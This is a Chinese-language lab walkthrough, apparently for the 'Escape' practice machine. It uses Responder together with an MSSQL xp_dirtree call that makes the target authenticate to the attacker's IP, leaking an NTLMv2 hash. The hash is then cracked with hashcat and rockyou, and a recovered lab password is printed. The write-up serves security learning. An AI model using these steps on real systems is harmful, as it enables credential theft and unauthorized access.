Responder是一個能夠幫助你擷取NTLMhash值的工具,主要應用的目標靶機的作業系統為Windows,NTLM為Microsoft的標準安全協議。現在NTLM的版本大多是第二版,因為第一版能夠利用彩虹表進行爆破,彩虹表是常用來破解密碼的雜湊表。
下圖是NTLM的機制,就像TCP三方交握一樣,有一定的順序性,而responder就是截取加密過後的密碼,我們就能進一步登入目標主機。
以靶機Escape為例,目前已經獲得MSSQL的存取權,能夠針對資料庫下指令,無法利用終端機執行指令。我們將使用responder攔截加密過後的帳號密碼。Responder.py能從這個網站下載。
首先,在我們的主機上執行responder.py。
sudo python Responder.py -I tun0
-I
指定執行哪一張網卡,在這個範例我所使用的openvpn的網卡為tun0。
接著,在MSSQL執行指令檢視我們自己主機的主目錄
## victim
EXEC xp_dirtree '\\[ip]\share', 1, 1
xp_dirtree有三個參數設置,第一個就是目錄位置,可以是遠端目錄或是本機目錄,這裡我們選擇向我們自己主機,[ip]依據每個人ip不同設置。第二個參數為是否讀取所有子目錄(預設0 讀取全部),這裡我們設定1代表部讀取全部,最後一個參數為設置是否顯示所有檔案(預設0 不顯示全部),我們設置為1,顯示所有檔案。
最後,我們就拿到了加密過後的密碼與使用者名稱。
將這個雜湊值複製到檔案裡,並利用hashcat進行密碼爆破。
echo 'sql_svc.....' > ntlm.hash
## decrypt the hash value
hashcat -m 5600 -a 0 ntlm.hash /usr/share/wordlists/rockyou.txt
-m
設置輸入的雜湊值是利用什麼演算法加密的,這裡我們的演算法是NTLMv2,代號為5600。我們一樣用最常見的密碼清單rockyou.txt進行爆破。
使用者sql_svc的密碼為REGGIE1234ronnie,接著就能夠登入進入後續的動作了。
今天的介紹到此結束,謝謝:)